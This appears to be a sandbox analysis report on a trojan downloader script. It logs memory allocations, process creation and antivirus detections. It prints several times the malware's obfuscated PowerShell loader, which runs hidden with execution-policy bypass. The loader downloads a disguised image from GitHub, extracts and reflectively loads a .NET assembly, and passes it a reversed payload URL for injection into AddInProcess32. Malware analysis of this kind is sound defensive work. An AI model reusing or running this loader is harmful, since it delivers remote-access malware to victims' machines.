 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049e9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ed000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ee000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2072
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iNVOKe-EXPressiON( ('lQkimageUrl = 9Lhhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg 9Lh;lQkwebClient = Ne'+'w-Object System.Net.WebClient;lQ'+'kimageBytes = '+'lQkwebClient.DownloadData(lQkimageUrl);lQk'+'imag'+'eText = [System.'+'Text.Encoding]::UTF8.GetString(lQkimageBytes);lQkstartFl'+'ag = 9Lh<<BASE64_START>>9Lh;lQkendFlag = 9Lh<<BASE64_END>>9Lh;lQkstartI'+'ndex = lQkimageText.IndexOf(lQks'+'tartFlag);lQkendIndex = lQkimageText.IndexOf'+'(lQkendFlag);lQkstartIn'+'dex -ge 0 -an'+'d '+'lQkendIndex -gt lQkstartIndex;lQkstartIndex += lQkstartFlag.Length;lQkbas'+'e64Length'+' = lQkendI'+'ndex - lQkstartIndex;lQkbase64Com'+'mand = lQkimageText.Substring(lQ'+'kstartIndex, lQkb'+'ase64Length'+');lQkcommandBytes = [System.Convert]::FromBase64String(lQ'+'kbase64Command);lQkloadedAssembly = [System.'+'Reflection.Asse'+'mbly]::Load(l'+'QkcommandBytes);lQkvaiMethod = [dnli'+'b.IO.Home].GetMethod(9LhVAI9L'+'h);lQkvaiMethod.In'+'voke(lQknull, @(9Lhtxt.44446esabbbbbbewmadam/gro.sndkcud.'+'nameeelkarim//:ptt'+'h9Lh, '+'9Lhdesativado9Lh, 9Lhdesativado9Lh, 9Lhdesativado9Lh, 9'+'LhAddInProcess329Lh, 9L'+'hdesativado9Lh, 9Lhdesativado9Lh));').REPlaCe('lQk',[STrIng][cHAR]36).REPlaCe(([cHAR]57+[cHAR]76+[cHAR]104),[STrIng][cHAR]39) )"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2076
thread_handle: 0x000002f0
process_identifier: 2072
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f8
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz0gbFFrc3RhcnRGbGFnLkxlbmd0aDtsUWtiYXMnKydlNjRMZW5ndGgnKycgPSBsUWtlbmRJJysnbmRleCAtIGxRa3N0YXJ0SW5kZXg7bFFrYmFzZTY0Q29tJysnbWFuZCA9IGxRa2ltYWdlVGV4dC5TdWJzdHJpbmcobFEnKydrc3RhcnRJbmRleCwgbFFrYicrJ2FzZTY0TGVuZ3RoJysnKTtsUWtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGxRJysna2Jhc2U2NENvbW1hbmQpO2xRa2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS4nKydSZWZsZWN0aW9uLkFzc2UnKydtYmx5XTo6TG9hZChsJysnUWtjb21tYW5kQnl0ZXMpO2xRa3ZhaU1ldGhvZCA9IFtkbmxpJysnYi5JTy5Ib21lXS5HZXRNZXRob2QoOUxoVkFJOUwnKydoKTtsUWt2YWlNZXRob2QuSW4nKyd2b2tlKGxRa251bGwsIEAoOUxodHh0LjQ0NDQ2ZXNhYmJiYmJiZXdtYWRhbS9ncm8uc25ka2N1ZC4nKyduYW1lZWVsa2FyaW0vLzpwdHQnKydoOUxoLCAnKyc5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5TGhkZXNhdGl2YWRvOUxoLCA5JysnTGhBZGRJblByb2Nlc3MzMjlMaCwgOUwnKydoZGVzYXRpdmFkbzlMaCwgOUxoZGVzYXRpdmFkbzlMaCkpOycpLlJFUGxhQ2UoJ2xRaycsW1NUckluZ11bY0hBUl0zNikuUkVQbGFDZSgoW2NIQVJdNTcrW2NIQVJdNzYrW2NIQVJdMTA0KSxbU1RySW5nXVtjSEFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2204
thread_handle: 0x0000044c
process_identifier: 2200
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iNVOKe-EXPressiON( ('lQkimageUrl = 9Lhhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg 9Lh;lQkwebClient = Ne'+'w-Object System.Net.WebClient;lQ'+'kimageBytes = '+'lQkwebClient.DownloadData(lQkimageUrl);lQk'+'imag'+'eText = [System.'+'Text.Encoding]::UTF8.GetString(lQkimageBytes);lQkstartFl'+'ag = 9Lh<<BASE64_START>>9Lh;lQkendFlag = 9Lh<<BASE64_END>>9Lh;lQkstartI'+'ndex = lQkimageText.IndexOf(lQks'+'tartFlag);lQkendIndex = lQkimageText.IndexOf'+'(lQkendFlag);lQkstartIn'+'dex -ge 0 -an'+'d '+'lQkendIndex -gt lQkstartIndex;lQkstartIndex += lQkstartFlag.Length;lQkbas'+'e64Length'+' = lQkendI'+'ndex - lQkstartIndex;lQkbase64Com'+'mand = lQkimageText.Substring(lQ'+'kstartIndex, lQkb'+'ase64Length'+');lQkcommandBytes = [System.Convert]::FromBase64String(lQ'+'kbase64Command);lQkloadedAssembly = [System.'+'Reflection.Asse'+'mbly]::Load(l'+'QkcommandBytes);lQkvaiMethod = [dnli'+'b.IO.Home].GetMethod(9LhVAI9L'+'h);lQkvaiMethod.In'+'voke(lQknull, @(9Lhtxt.44446esabbbbbbewmadam/gro.sndkcud.'+'nameeelkarim//:ptt'+'h9Lh, '+'9Lhdesativado9Lh, 9Lhdesativado9Lh, 9Lhdesativado9Lh, 9'+'LhAddInProcess329Lh, 9L'+'hdesativado9Lh, 9Lhdesativado9Lh));').REPlaCe('lQk',[STrIng][cHAR]36).REPlaCe(([cHAR]57+[cHAR]76+[cHAR]104),[STrIng][cHAR]39) )"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Skyhigh BehavesLike.VBS.Trojan.np
Symantec CL.Downloader!gen11
ESET-NOD32 VBS/TrojanDownloader.Agent.ABBQ
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.Script.Generic
Ikarus Trojan.VBS.RemcosRAT
Google Detected
GData Script.Trojan.Agent.N8OSWA
Varist VBS/Agent.BOX1!Eldorado
Tencent Vbs.Trojan-Downloader.Der.Ckjl
huorong HEUR:TrojanDownloader/PS.NetLoader.aj
AVG Script:SNH-gen [Trj]
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iNVOKe-EXPressiON( ('lQkimageUrl = 9Lhhttps://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg 9Lh;lQkwebClient = Ne'+'w-Object System.Net.WebClient;lQ'+'kimageBytes = '+'lQkwebClient.DownloadData(lQkimageUrl);lQk'+'imag'+'eText = [System.'+'Text.Encoding]::UTF8.GetString(lQkimageBytes);lQkstartFl'+'ag = 9Lh<<BASE64_START>>9Lh;lQkendFlag = 9Lh<<BASE64_END>>9Lh;lQkstartI'+'ndex = lQkimageText.IndexOf(lQks'+'tartFlag);lQkendIndex = lQkimageText.IndexOf'+'(lQkendFlag);lQkstartIn'+'dex -ge 0 -an'+'d '+'lQkendIndex -gt lQkstartIndex;lQkstartIndex += lQkstartFlag.Length;lQkbas'+'e64Length'+' = lQkendI'+'ndex - lQkstartIndex;lQkbase64Com'+'mand = lQkimageText.Substring(lQ'+'kstartIndex, lQkb'+'ase64Length'+');lQkcommandBytes = [System.Convert]::FromBase64String(lQ'+'kbase64Command);lQkloadedAssembly = [System.'+'Reflection.Asse'+'mbly]::Load(l'+'QkcommandBytes);lQkvaiMethod = [dnli'+'b.IO.Home].GetMethod(9LhVAI9L'+'h);lQkvaiMethod.In'+'voke(lQknull, @(9Lhtxt.44446esabbbbbbewmadam/gro.sndkcud.'+'nameeelkarim//:ptt'+'h9Lh, '+'9Lhdesativado9Lh, 9Lhdesativado9Lh, 9Lhdesativado9Lh, 9'+'LhAddInProcess329Lh, 9L'+'hdesativado9Lh, 9Lhdesativado9Lh));').REPlaCe('lQk',[STrIng][cHAR]36).REPlaCe(([cHAR]57+[cHAR]76+[cHAR]104),[STrIng][cHAR]39) )"
parent_process wscript.exe martian_process powershell -command $Codigo = 'aU5WT0tlLUVYUHJlc3NpT04oICgnbFFraW1hZ2VVcmwgPSA5TGhodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQ3J5cHRlcnNBbmRUb29sc09maWNpYWwvWklQL3JlZnMvaGVhZHMvbWFpbi9EZXRhaE5vdGVfVi5qcGcgOUxoO2xRa3dlYkNsaWVudCA9IE5lJysndy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7bFEnKydraW1hZ2VCeXRlcyA9ICcrJ2xRa3dlYkNsaWVudC5Eb3dubG9hZERhdGEobFFraW1hZ2VVcmwpO2xRaycrJ2ltYWcnKydlVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKGxRa2ltYWdlQnl0ZXMpO2xRa3N0YXJ0RmwnKydhZyA9IDlMaDw8QkFTRTY0X1NUQVJUPj45TGg7bFFrZW5kRmxhZyA9IDlMaDw8QkFTRTY0X0VORD4+OUxoO2xRa3N0YXJ0SScrJ25kZXggPSBsUWtpbWFnZVRleHQuSW5kZXhPZihsUWtzJysndGFydEZsYWcpO2xRa2VuZEluZGV4ID0gbFFraW1hZ2VUZXh0LkluZGV4T2YnKycobFFrZW5kRmxhZyk7bFFrc3RhcnRJbicrJ2RleCAtZ2UgMCAtYW4nKydkICcrJ2xRa2VuZEluZGV4IC1ndCBsUWtzdGFydEluZGV4O2xRa3N0YXJ0SW5kZXggKz